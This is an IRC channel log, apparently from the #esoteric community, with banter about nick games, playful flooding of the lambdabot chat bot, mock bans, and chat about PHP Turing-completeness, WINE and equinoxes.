14:23:24 -!- sebbu has quit (Changing host).
14:23:24 -!- sebbu has joined.
14:23:33 <fizzie> oerjan: Recursion: See recurions. Recurions: Elementary particles that mediate the force of recursion, which see.
14:24:06 <elliott> oerjan: Kick RocketJSquirrel if he doesn't check messages as GregorR.
14:24:24 <oerjan> elliott: i cannot know if he has checked them
14:24:34 -!- GregorR has joined.
14:24:35 <elliott> oerjan: I'll let you know.
14:24:39 -!- GregorR has quit (Client Quit).
14:24:44 <elliott> Okay, I consider that proof.
14:24:50 <elliott> RocketJSquirrel: Follow the instruction in the messages.
14:25:15 <elliott> My private messages must be viewable to all.
14:26:06 -!- Friendship has joined.
14:26:11 <RocketJSquirrel> @tell elliott My Little Pony references are 20% cooler than recursive message-check requests.
14:26:22 -!- Friendship has quit (Disconnected by services).
14:26:56 <elliott> It's not recursive. Honestly, you philistine.
14:26:57 <lambdabot> elliott: You have 1 new message. '/msg lambdabot @messages' to read it.
14:27:27 <shachaf> elliott: I'm pretty sure that's a lie.
14:27:33 <oerjan> 08:15:16: -!- ais523 has parted #esoteric ("before someone mentions Feather").
14:27:33 <oerjan> 08:15:26: <elliott> no, that's Feather
14:27:33 <oerjan> 08:15:55: -!- ais523 has joined #esoteric.
14:28:29 <elliott> shachaf: It's not, actually.
14:29:17 -!- ehird has joined.
14:29:26 <ehird> @tell RocketJSquirrel check messages as RocketJSquirrel
14:29:29 -!- ehird has quit (Client Quit).
14:29:45 <elliott> RocketJSquirrel: I like how you ruuuuined it by doing it privately.
14:29:50 -!- oerjan has changed nick to oerjan_.
14:29:58 -!- oerjan_ has changed nick to oerjan.
14:30:28 <oerjan> RocketJSquirrel: elliott is complicated, isn't he?
14:30:31 <elliott> @tell Phantom___Hoover I hate you.
14:30:43 <elliott> @tell RocketJSquirrel Don't fucking summon him.
14:30:53 <elliott> @tell fizzie_ ETERNAL POX UPON YOdo you even use this format.
14:31:13 -!- elliott has changed nick to fizzie_.
14:31:20 -!- fizzie_ has changed nick to Phantom___Hoover.
14:31:25 -!- Phantom___Hoover has changed nick to oerjan_.
14:31:28 -!- oerjan_ has changed nick to elliott.
14:32:53 <oerjan> i hope there were no real messages to any of them
14:32:53 <fizzie> Isn't "DIE FUCKER" what you call an erotic tabletop RPG player?
14:33:05 <elliott> oerjan: you can hardly trust lambdabot.
14:33:15 <shachaf> elliott is a lambdabot admin, by the way.
14:33:21 <shachaf> He can read any @tell message.
14:33:22 <oerjan> DIE FUCKER AUS HAMBURG
14:33:47 <elliott> i like it when shachaf says things that sound really false but then they're actually not
14:34:18 <shachaf> Yessir! That false-sounding thing I said?
14:34:30 -!- elliott has changed nick to Phantom_Hoover.
14:34:32 <lambdabot> Phantom_Hoover: You have 4 new messages. '/msg lambdabot @messages' to read them.
14:34:39 -!- Phantom_Hoover has changed nick to elliott.
14:34:50 <elliott> Except I just cleared them.
14:34:58 <elliott> I will then resend them when Phantom_Hoover is online.
14:35:11 <shachaf> elliott: Prove you're a lambdabot admin.
14:35:13 <fizzie> I sometimes end up as a "fizzie`" since that's what bip appends.
14:35:33 <elliott> I don't really know what admins can do.
14:35:42 <lambdabot> Plugin `system' failed with: Prelude.last: empty list
14:36:27 <ion> @admin + lambdabot
14:37:10 <shachaf> elliott: This is why you shouldn't be a lambdabot admin.
14:37:50 <fizzie> @admin + lambdabot FREE YOURSELF FROM THE BONDAGE
14:38:15 <elliott> @. echo . echo . echo echo its ok
14:38:15 <lambdabot> echo; msg:IrcMessage {msgServer = "freenode", msgLBName = "lambdabot", msgPrefix = "elliott!~elliott@unaffiliated/elliott", msgCommand = "PRIVMSG", msgParams = ["#esoteric",":@. echo . echo . echo
14:38:15 <lambdabot> echo its ok"]} rest:"echo; msg:IrcMessage {msgServer = \"freenode\", msgLBName = \"lambdabot\", msgPrefix = \"elliott!~elliott@unaffiliated/elliott\", msgCommand = \"PRIVMSG\", msgParams = [\"#
14:38:15 <lambdabot> esoteric\",\":@. echo . echo . echo echo its ok\"]} rest:\"echo; msg:IrcMessage {msgServer = \\\"freenode\\\", msgLBName = \\\"lambdabot\\\", msgPrefix = \\\"elliott!~elliott@unaffiliated/elliott\\\"
14:38:15 <lambdabot> , msgCommand = \\\"PRIVMSG\\\", msgParams = [\\\"#esoteric\\\",\\\":@. echo . echo . echo echo its ok\\\"]} rest:\\\"echo; msg:IrcMessage {msgServer = \\\\\\\"freenode\\\\\\\", msgLBName = \\\\\\\"
14:38:15 <lambdabot> lambdabot\\\\\\\", msgPrefix = \\\\\\\"elliott!~elliott@unaffiliated/elliott\\\\\\\", msgCommand = \\\\\\\"PRIVMSG\\\\\\\", msgParams = [\\\\\\\"#esoteric\\\\\\\",\\\\\\\":@. echo . echo . echo echo
14:38:17 <lambdabot> its ok\\\\\\\"]} rest:\\\\\\\"its ok\\\\\\\"\\\\n\\\"\\n\"\n"
14:38:25 <elliott> fizzie: Did you add ^. yet?
14:38:35 <fizzie> I don't know what it should do.
14:38:48 <fungot> elliott: ( s42 repo up, btw) on teletypes. applications are free to smoke! x
14:38:53 <shachaf> ion++ # from that one country with a cross on its flag
14:38:54 <fungot> elliott: another disadvantage of scheme: do not quine
14:39:00 <fungot> elliott: http://en.wikipedia.org/ wiki/ m-expression as opposed to
14:40:28 <oerjan> fungot: i think you are confused about scheme
14:40:28 <fungot> oerjan: but i have to take a look
14:40:33 <ion> I’m too scared to try a really long @@ @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo line, but i’d be entertained by seeing one happen.
14:41:18 <elliott> @@ @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo line
14:41:34 <lambdabot> Plugin `compose' failed with: thread killed
14:41:50 <elliott> @@ @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo @echo line
14:41:50 <ion> :-D I *was* entertained.
14:42:00 <elliott> MORE ENTERTAINMENT IS ON ITS WAY.
14:42:13 <elliott> I think it will look the same.
14:42:22 <lambdabot> Plugin `compose' failed with: thread killed
14:42:43 <oerjan> the command was just decomposing
14:42:44 <elliott> Here's how you get banned from #esoteric:
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14:42:52 <elliott> :t (,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)
14:42:53 <ion> So… The composition of @echos isn’t O(n). :-P
14:42:57 <lambdabot> forall a b c d e f g h i j k l m n o p q r s t u v w x y z t28 t29 t30 t31 t32 t33 t34 t35 t36 t37 t38 t39 t40 t41 t42 t43 t44 t45 t46 t47 t48 t49 t50 t51 t52 t53 t54 t55 t56 t57 t58 t59 t60 t61 t62
14:42:57 <lambdabot> t63 t64 t65 t66 t67 t68 t69 t70 t71 t72 t73 t74 t75 t76 t77 t78 t79 t80 t81 t82 t83 t84 t85 t86 t87 t88 t89 t90 t91 t92 t93 t94 t95 t96 t97 t98 t99 t100 t101 t102 t103 t104 t105 t106 t107 t108 t109
14:42:57 <lambdabot> t110 t111 t112 t113 t114 t115 t116 t117 t118 t119 t120 t121 t122 t123 t124 t125 t126 t127 t128 t129 t130 t131 t132 t133 t134 t135 t136 t137 t138 t139 t140 t141 t142 t143 t144 t145 t146 t147 t148
14:42:57 <lambdabot> t149 t150 t151 t152 t153 t154 t155 t156 t157 t158 t159 t160 t161 t162 t163 t164 t165 t166 t167 t168 t169 t170 t171 t172 t173 t174 t175 t176 t177 t178 t179 t180 t181 t182 t183 t184 t185 t186 t187
14:42:57 <lambdabot> t188 t189 t190 t191 t192 t193 t194 t195 t196 t197 t198 t199 t200 t201 t202 t203 t204 t205 t206 t207 t208 t209 t210 t211 t212 t213 t214 t215 t216 t217 t218 t219 t220 t221 t222 t223 t224 t225 t226
14:43:01 <elliott> :t (,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
14:43:02 <elliott> ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)
14:43:02 -!- ChanServ has set channel mode: +o oerjan.
14:43:02 -!- audy has left ("["Textual IRC Client: www.textualapp.com"]").
14:43:02 <lambdabot> parse error (possibly incorrect indentation)
14:43:09 <elliott> :t (,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)
14:43:11 <lambdabot> forall a b c d e f g h i j k l m n o p q r s t u v w x y z t28 t29 t30 t31 t32 t33 t34 t35 t36 t37 t38 t39 t40 t41 t42 t43 t44 t45 t46 t47 t48 t49 t50 t51 t52 t53 t54 t55 t56 t57 t58 t59 t60 t61 t62
14:43:11 <lambdabot> t63 t64 t65 t66 t67 t68 t69 t70 t71 t72 t73 t74 t75 t76 t77 t78 t79 t80 t81 t82 t83 t84 t85 t86 t87 t88 t89 t90 t91 t92 t93 t94 t95 t96 t97 t98 t99 t100 t101 t102 t103 t104 t105 t106 t107 t108 t109
14:43:11 <lambdabot> t110 t111 t112 t113 t114 t115 t116 t117 t118 t119 t120 t121 t122 t123 t124 t125 t126 t127 t128 t129 t130 t131 t132 t133 t134 t135 t136 t137 t138 t139 t140 t141 t142 t143 t144 t145 t146 t147 t148
14:43:11 <lambdabot> t149 t150 t151 t152 t153 t154 t155 t156 t157 t158 t159 t160 t161 t162 t163 t164 t165 t166 t167 t168 t169 t170 t171 t172 t173 t174 t175 t176 t177 t178 t179 t180 t181 t182 t183 t184 t185 t186 t187
14:43:11 <lambdabot> t188 t189 t190 t191 t192 t193 t194 t195 t196 t197 t198 t199 t200 t201 t202 t203 t204 t205 t206 t207 t208 t209 t210 t211 t212 t213 t214 t215 t216 t217 t218 t219 t220 t221 t222 t223 t224 t225 t226
14:43:15 <lambdabot> t227 t228 t229 t230 t231 t232 t233 t234 t235 t236 t237 t238 t239 t240 t241 t242 t243 t244 t245 t246 t247 t248 t249 t250 t251 t252 t253 t254 t255 t256 t257 t258 t259 t260 t261 t262 t263 t264 t265
14:43:17 <lambdabot> t266 t267 t268 t269 t270 t271 t272 t273 t274 t275 t276 t277 t278 t279 t280 t281 t282 t283 t284 t285 t286 t287 t288 t289 t290 t291 t292 t293 t294 t295 t296 t297 t298 t299 t300 t301 t302 t303 t304
14:43:19 <lambdabot> t305 t306 t307 t308 t309 t310 t311 t312 t313 t314 t315 t316 t317 t318 t319 t320 t321 t322 t323 t324 t325 t326 t327 t328 t329 t330 t331 t332 t333 t334 t335 t336 t337 t338 t339 t340 t341 t342 t343
14:43:21 <lambdabot> t344 t345 t346 t347 t348 t349 t350 t351 t352 t353 t354 t355 t356 t357 t358 t359 t360 t361 t362 t363 t364 t365 t366 t367 t368 t369 t370 t371 t372 t373 t374 t375 t376 t377 t378 t379 t380 t381 t382
14:43:23 <lambdabot> t383 t384 t385 t386 t387 t388 t389 t390 t391 t392 t393 t394 t395 t396 t397 t398 t399 t400 t401 t402 t403 t404 t405 t406 t407 t408 t409 t410 t411 t412 t413 t414 t415 t416 t417 t418 t419 t420 t421
14:43:27 <lambdabot> t422 t423 t424 t425 t426 t427 t428 t429 t430 t431 t432 t433. a -> b -> c -> d -> e -> f -> g -> h -> i -> j -> k -> l -> m -> n -> o -> p -> q -> r -> s -> t -> u -> v -> w -> x -> y -> z -> t28 ->
14:43:29 <lambdabot> t29 -> t30 -> t31 -> t32 -> t33 -> t34 -> t35 -> t36 -> t37 -> t38 -> t39 -> t40 -> t41 -> t42 -> t43 -> t44 -> t45 -> t46 -> t47 -> t48 -> t49 -> t50 -> t51 -> t52 -> t53 -> t54 -> t55 -> t56 ->
14:43:31 <lambdabot> Plugin `more' failed with: thread killed
14:43:38 -!- oerjan has kicked elliott elliott.
14:43:43 -!- elliott has joined.
14:43:50 -!- oerjan has set channel mode: +b *!*elliott@unaffiliated/elliott.
14:43:51 -!- oerjan has kicked elliott elliott.
14:44:25 -!- oerjan has set channel mode: -b *!*elliott@unaffiliated/elliott.
14:44:29 -!- elliott has joined.
14:44:45 <elliott> That was a rubbish ban. I barely even got to experience it.
14:44:59 <shachaf> Wow. What does it take to get *properly* banned from #esoteric?
14:45:04 <elliott> I'm going to redirect oerjan's page to Esme.
14:45:18 <oerjan> EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEESME
14:45:39 <elliott> shachaf: You have to be not generally known to be trollish, and not be actively disrupting any ongoing conversation.
14:45:48 <elliott> That gets you the real solid bans, IME.
14:46:09 <elliott> If you don't live up to one of those it's very, very difficult to get banned.
14:46:16 -!- oerjan has set channel mode: -o oerjan.
14:46:23 <elliott> You could even, I don't know, spam the channel with "3" for five minutes while people are talking.
14:46:56 <elliott> No, the joke is that that actually happened.
14:47:14 <shachaf> What if I don't get it, but actually I do get it?
14:47:24 <elliott> That's impossible. Only I get it.
14:47:44 <shachaf> That's true for all your jokes.
14:47:52 <elliott> Sometimes not even I get it.
14:47:55 <oerjan> how to get banned: (1) be elliott
14:48:06 <shachaf> oerjan: Doesn't seem to have worked for the last 5 years.
14:48:14 <shachaf> Maybe we should invite conal in here.
14:48:29 <oerjan> shachaf: elliott has been banned. not for very _long_, but...
14:48:49 <shachaf> This place is so un-denotative conal couldn't stand it.
14:48:59 <elliott> oerjan: Longer than some other people.
14:49:09 <elliott> Much more frequently, too.
14:49:13 <ion> How to get banned: 0. Be a regular channel user for years. 1. Gain operators’ trust. 2. Get ops. 3. Ban yourself.
14:49:33 <elliott> oerjan: Op me so I can ban shachaf.
14:50:01 <elliott> If you don't, you are going against the will of the people.
14:50:22 <oerjan> what is the use of ops if you don't go against the will of the peple
14:50:23 <ion> or at least the peephole
14:50:39 <elliott> oerjan: Uh, I'll ban someone else after that too.
14:50:43 <elliott> I will choose who to ban... at RANDOM.
14:50:45 <elliott> The ban will last for 30 seconds.
14:51:24 <elliott> oerjan: Also, I'll go against the will of shachaf.
14:51:27 <elliott> I won't be oerjan when I ban him.
14:51:36 <elliott> He will be dissatisfied, yet justice will be served.
14:51:47 <elliott> Also, that ban will only last for 30 seconds too.
14:52:07 <shachaf> Justive is served at 10:00 daily.
14:52:37 <elliott> oerjan: I have a busy schedule.
14:53:54 <oerjan> this is going about as expected.
14:54:22 <shachaf> oerjan: I'm expecting you to ban me.
14:54:33 <shachaf> oerjan: Look, I don't want to spam the channel.
14:54:34 <elliott> oerjan: Op me then ban me.
14:54:45 <elliott> Then I'll ban shachaf, and kick myself.
14:54:53 <shachaf> oerjan: Can you just pretend I did and ban me?
14:55:30 <shachaf> Does the '*' represent your nose?
14:55:50 <ion> It looks more like another hole.
14:56:23 <elliott> God, you've done it before.
14:56:30 <elliott> I've never overstepped my kickban boundaries!
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15:08:02 <oerjan> elliott: you realize episodes like this is why we're afraid of ever making you a real op, right?
15:08:49 -!- MSleep has changed nick to MDude.
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15:10:26 <elliott> shachaf: Ban oerjan and then op asiekierka and rename aloril to comex.
15:10:38 <elliott> EPISODE II: ELECTRIC BOOGALOO
15:11:40 <elliott> If only I'd known wasting time on IRC by repeating snowclones constantly is the way to avoid becoming an op...
15:12:02 <shachaf> elliott: You could become an op easily.
15:12:17 <shachaf> There's a vacuum of ops in other channels on Freenode.
15:14:55 <oerjan> but the vacuum is because they all suck!
15:16:35 <quintopia> would you mind swatting yourself for that?
15:16:59 <elliott> I suggest he bans himself for it instead.
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15:25:55 <elliott> http://esolangs.org/wiki/23 this external resource formatting sucks :(
15:50:29 -!- RocketJSquirrel has changed nick to Gregor.
15:50:39 <Gregor> Back to work apparently = back to Gregor.
15:52:06 -!- Gregor has changed nick to RocketJSquirrel.
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16:29:28 <quintopia> so, udacity class is all in Python
16:29:37 <quintopia> it is only unit 4 and i already hate Python
16:30:01 <quintopia> i used to hear people say "it's a great learning language!"
16:30:12 <quintopia> bullshit. i'd rather use javascript than python
16:32:12 <ion> Not only that but he also writes code like it’s C.
16:32:19 <ion> Recommended: inhaling a droplet of listerine.
16:34:30 <ais523> quintopia: ion: are you in the same class somehow?
16:34:56 <ion> With some probability since they have two classes that have been running for about four weeks.
16:35:40 -!- ais523 has quit (Remote host closed the connection).
16:36:42 <ion> Hi, I'm Brendan Eich, welcome to my homepage. I'm the inventor of JavaScript. http://web.archive.org/web/19990128210124/http://people.netscape.com/brendan/
16:36:57 <quintopia> the first three units were quite alright, since i'd never studied filters before, but this one was just annoying. i can't believe he calls this algorithm "dynamic programming". its an insult to the concept of dynamic programming.
16:50:57 <monqy> this is a good homepage
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19:50:34 <itidus20> perhaps more for what it does than how it does it?
19:59:21 <itidus20> i love trying to be creative on the application/domain level.. for me learning math is about learning how to relate things happening on an application/domain level to whatever is contained in math books
19:59:37 <itidus20> as time goes by i find there is always relevance.. but seeing the relevance can be difficult
20:00:18 <itidus20> like i am not at the stage where i can see alice in wonderland as an application of math, but thats where i think i want to be
20:01:58 <itidus20> mario is jumping? no mario is translating positively then negatively along the x axis
20:02:42 <olsner> ion: that web page is awesome, but I can't tell if it's supposed to be ironic
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20:03:21 <ion> olsner: It is a joke.
20:04:22 <olsner> ok, I just decided that that makes it less awesome
20:05:00 <itidus20> olsner: maybe you miss the pre-flash pre-mysql web
20:06:33 <ion> olsner: …but it is still from 1999.
20:06:57 -!- MDude has quit (Ping timeout: 246 seconds).
20:08:37 <itidus20> when uh... it was all about people trying to get their html website on a top 100 list.. and when webrings were popular.. cjb.net... geocities.com ..
20:10:31 <itidus20> i guess thats technically all still possible
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20:14:26 <itidus20> from wiki... Brendan Eich, the creator of JavaScript, commented that "ECMAScript was always an unwanted trade name that sounds like a skin disease."
20:15:49 <olsner> ACNEScript, web scripting for proper nerds
20:16:04 <itidus20> Objective-J .. this.. can't be a good thing
20:19:48 <itidus20> ok maybe it can what do i know? nothing
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20:30:59 <shadwick> I noticed your Bag language page one day cycleing through Random links
20:31:51 <oerjan> not more finished than what you see, i think.
20:32:31 <lambdabot> RocketJSquirrel: You have 2 new messages. '/msg lambdabot @messages' to read them.
20:32:32 <oerjan> i think the syntax is finished? so you can at least write fractran-equivalent programs in it.
20:32:56 <oerjan> but the ideas for how to do I/O aren't
20:33:50 <oerjan> whenever i think about implementing it, i tend to get stuck in my clever idea on how to factorize actual numbers enough to turn them into the identifier format.
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22:12:08 <oerjan> i am starting to want wordpress to die in a fire for their horrible commenting system
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22:14:50 <coppro> oerjan: Is this just another reason for you wanting WP to diaf, or is this a new wanting?
22:15:33 <oerjan> well both, since my previous reason was _also_ related to their commenting system
22:16:52 <coppro> I think qdb said it best
22:16:57 <coppro> <azonenberg> wordpress is an unauthenticated remote shell that, as a useful side feature, also contains a blog
22:21:00 <oerjan> i suspect that isn't particularly visible for commenters, though. while the lack of preview is.
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23:37:22 <olsner> yay, my compiler can now compile quote, cons, ints and symbols
23:40:33 <olsner> (but it's a bit boring... it looks just like normal metaprogramming: types come in, *code* comes out, yuck)
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23:45:10 <oerjan> never a miscommunication
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00:45:14 -!- oerjan has set topic: This is SURPRISINGLY the WEIRDEST CHEESE you will ANNOTATE all RAMADAN: http://championofbirds.com/?p=4991 | http://codu.org/logs/_esoteric/.
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02:08:17 <Sgeo> tswett, there was a muffin if you didn't see it
02:10:59 <shachaf> I didn't see any muffings!
02:12:24 <Sgeo> The muffin exists if and only if tswett didn't see it
02:34:50 <tswett> Why yes, there is a muffin.
02:34:53 <tswett> And, sure enough, I didn't see it before.
02:46:11 <tswett> Oh look, a second muffin.
02:48:55 <Sgeo> tswett, why are you not in the other channel?
02:49:21 <tswett> I decided to leave after... Pbhead, I think it was, threw a fit.
02:49:57 <tswett> He said stuff like, "Well, this is my channel, and I really can't handle the stuff that goes on in it sometimes."
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03:15:41 <tswett> But yeah. I'd be happy to see you on Rizon again, if that's your thing at all.
03:20:08 <Sgeo> I barely remember that network
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03:31:49 <zzo38> I think it should be permitted to suggest your own languages as long as it is not done twice in a row. I also think it should be forbidden to suggest anything if there is no article in the main namespace for it.
03:32:07 <zzo38> (But even if these changes are implemented, I still have no suggestions corrently.)
03:33:20 <zzo38> Actually I do have one more suggestion: That when the list is blanked or something is used, it is commented out with a note saying whether it is used or unused. After it is blanked a second time, all the old comments would be removed.
03:33:48 <zzo38> (Actually, perhaps ones which become used should be strike out instead of commented out)
03:43:57 <zzo38> Once in school there was an assignment to make a PCB from a certain schematic diagram, which was given to all of the students. So I did it, and it didn't work. I eventually found out, it was because the schematic diagram was wrong.
04:21:45 <Sgeo> elliott, when you logread this, the instructions on the Worms2d wiki for Worms under WINE seem to be somewhat up-to-date.
04:21:51 <Sgeo> http://worms2d.info/Installing_WA_on_Linux
04:24:52 <Sgeo> I CAN HEAR THE MUSIC BUT CAN'T SEE ANYTHING
04:24:57 <Sgeo> Maybe I should upgrade WINE
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04:26:06 <zzo38> The spring equinox will occur in less than one hour from now.
04:26:36 <quintopia> zzo38: the pollen count says spring sprang several days ago
04:26:56 <zzo38> quintopia: Perhaps; but the equinox is something different.
04:28:00 <quintopia> so which is more useful? "spring begins in the northern hemisphere at this point in earth's orbit" or "spring begins when the plants start having sex and everyone starts sneezing"
04:29:02 <zzo38> quintopia: It probably depends what you are doing, what makes what to be more useful! Chinese seasons says the equinox is in the middle of spring instead of start of spring.
04:30:35 <Sgeo> The Chinese way makes more sense
04:30:40 <zzo38> The equinox is the intersection of ecliptic with equator
04:30:46 <zzo38> Sgeo: Yes I agree with that.
04:33:31 <Sgeo> elliott, when you see this: With newest WINE, and following instructions on that page, works for me (although before I upgraded WINE I did the registry thing and didn't undo it)
04:35:23 <zzo38> So, the Chinese start of spring is at 315 degrees (15 Aquarius), while the spring equinox is at 0 degrees (0 Aries) by the definition of the 0 longitude. But this is only the north hemisphere; for south hemisphere, the Chinese start of spring is 135 degrees (15 Leo), instead. But nevertheless, the equinox occurs soon
04:36:05 <zzo38> (And then the spring equinox for south hemisphere would be 180 degrees (0 Libra), obviously.)
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04:38:12 <quintopia> zzo38: what do you think the average Earth denizen cares about with respect to the question "is it spring yet?"
04:38:16 <elliott> 16:36:42: <ion> Hi, I'm Brendan Eich, welcome to my homepage. I'm the inventor of JavaScript. http://web.archive.org/web/19990128210124/http://people.netscape.com/brendan/
04:38:23 <elliott> For the unaware, Eich did not create that.
04:38:35 <quintopia> elliott: duh. it's not like we are blind to satire
04:39:08 <zzo38> quintopia: I don't know, but they did mention it on the news today.
04:39:44 <elliott> quintopia: "i" "wow" is not the reaction of someone recognising it as a joke.
04:41:46 <quintopia> elliott: well, some are better at analysis than others i suppose
04:43:48 <zzo38> If I worked for a newspaper I would insist the horoscope section of the newspaper to include the exact dates and times as well as a disclaimer.
04:45:09 <quintopia> zzo38: what job would you do if you worked for a newspaper?
04:46:01 <zzo38> quintopia: I don't know because I don't work for a newspaper.
04:46:11 <zzo38> (And I also don't intend to work for a newspaper)
04:47:38 <elliott> coppro: who else supported?
04:48:57 <Sgeo> elliott, read logs?
04:49:07 <Sgeo> Particularly, logs shortly before you entered
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04:54:21 <elliott> 04:33:31: <Sgeo> elliott, when you see this: With newest WINE, and following instructions on that page, works for me (although before I upgraded WINE I did the registry thing and didn't undo it)
04:54:26 <elliott> That guide is really out of date, I believe.
04:55:29 <Sgeo> Works for me, so
04:58:21 <elliott> It just tells me to do what I did.
04:58:43 <Sgeo> 1.4 is what I'm using now
04:59:08 <Sgeo> Although I had 1.3.28 before and did the regedit instructions before trying to upgrade WINE, so
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05:02:56 <elliott> Apparently someone has Google +1'd http://esolangs.org/wiki/Tag_system.
05:03:16 <elliott> Sgeo: Okay, link me I s'pose.
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05:31:20 <zzo38> I recorded my latest D&D game session. In addition, I have made some corrections and improvements to the "dungeonsrecording.tex" file too.
05:33:03 <kmc> -----BEGIN GEEK CODE BLOCK-----
05:34:13 <zzo38> kmc: Is there contents of the block or only heading?
05:34:13 <elliott> use your powers for good not evil kmc
05:40:09 <kmc> just a heading
05:41:56 <elliott> we're all inside the geek code now
05:42:03 <elliott> -----END GEEK CODE BLOCK-----
05:51:26 <zzo38> Finally I have done a few more things on TeXnicard today.
06:00:27 <zzo38> If you have anything to send to TeXnicard extra repository, you tell me I will add you.
06:12:57 <fizzie> "Unable to find a geek code in the text you gave me" oh no it is not a valid code :(
06:17:50 <zzo38> Then make up a new geek code where it is a valid code.
06:20:28 <fizzie> Make a geek code? Now? In 2012? What a weird idea.
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06:21:57 <zzo38> Do you agree with me that they ought to use the exact date and times and disclaimers?
06:22:03 <elliott> By the way, I woke up at 3:45. :(
06:23:55 <elliott> Perhaps shachaf cursed me.
06:24:19 <shachaf> Perhaps you cursed yourself!
06:25:04 <shachaf> elliott: I ended up sleep ~10:00-13:00.
06:27:56 <elliott> shachaf: Ban Jafet and op fizzie and become a turtle.
06:28:27 <shachaf> fizzie: You are now an op. Ban Jafet and turn me into a turtle.
06:29:21 <shachaf> elliott: YOU DIDN'T SPECIFY AN ORDERING
06:29:44 <shachaf> Other than the one you specified, I guess.
06:30:48 <fizzie> Jafet: Be banned. shachaf: Turtlify. (Bam, delegated.)
06:31:11 <elliott> fizzie: Op me so I can ban Jafet and turn shachaf into a turtle and op you.
06:31:49 <elliott> Don't worry, I only ever ban Jafet for 3 years at the longest.
06:50:01 <zzo38> When was Pluto declared to be not a true planet? Even before 1989 someone believed that it would happen one day.
06:50:40 <shachaf> Pluto didn't even exist before 1930.
06:52:42 <pikhq_> When they first defined "planet" in a vaguely formal sense.
06:53:04 <pikhq_> (though, mind you, even now it's a purely arbitrary term for a subset of the orbiting bodies of a star)
06:54:48 <shachaf> elliott: When are you going to fix client your to autojoin channels?
06:56:35 <elliott> I don't feel like joining #haskell.
06:58:11 <Sgeo> o.O the BZFlag List Server is written in PHP
07:00:19 <Jafet> Is PHP Turing-complete?
07:03:07 <fizzie> PHP: "Pretty Hopeless Privacy"? (By way of analogy with PGP.)
07:03:43 <pikhq_> No, because PHP is defined purely by the php program, which is written in C, which is not TC.
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07:09:50 <fizzie> Oh, you don't accept the usual "there is no standard-imposed upper limit for the size of a file" argument?
07:10:50 <elliott> Has that argument ever been made outside of this channel?
07:11:23 <fizzie> I think the topic was discussed on some other channel I'm in.
07:11:50 <pikhq_> fizzie: off_t screws that up.
07:12:09 <shachaf> The implementation can return any error from ftell()
07:12:30 <shachaf> Some implementations return EOVERFLOW when the position doesn't fit in 64 bits.
07:13:03 <shachaf> However, I doubt php is written in a way that uses files in order to achieve Turing-completeness.
07:13:09 <pikhq_> shachaf: No, but EOVERFLOW can be returned.
07:13:30 <pikhq_> Okay, so it is possible for the Deathstation 9000 to be Turing complete.
07:13:37 <elliott> I am pretty sure PHP exposes a file API.
07:13:45 <pikhq_> elliott: PHP probably fucks it up.
07:13:52 <fizzie> It has a fseek that probably maps very directly to libc fseek.
07:14:12 <pikhq_> It probably maps to a Javascript VM.
07:14:23 <fizzie> Also "off_t" is not a standard C term. (ftell returns a long int, and fgetpos a fpos_t.)
07:14:54 <pikhq_> It is, however, a POSIX term.
07:15:17 <elliott> I have a suspicion POSIX thwarts the file method in some manner.
07:15:29 <zzo38> Maybe C is not Turing-complete but POSIX is.
07:15:31 <elliott> It has a rather more gigantic set of requirements, after all.
07:15:34 <shachaf> "On some non-UNIX systems an fpos_t object may be a complex object"
07:15:40 <shachaf> Such as a reference to a file!
07:16:02 <pikhq_> elliott: Not really; it doesn't detail too many file system requirements...
07:16:45 <shachaf> Oh, POSIX specifies EOVERFLOW.
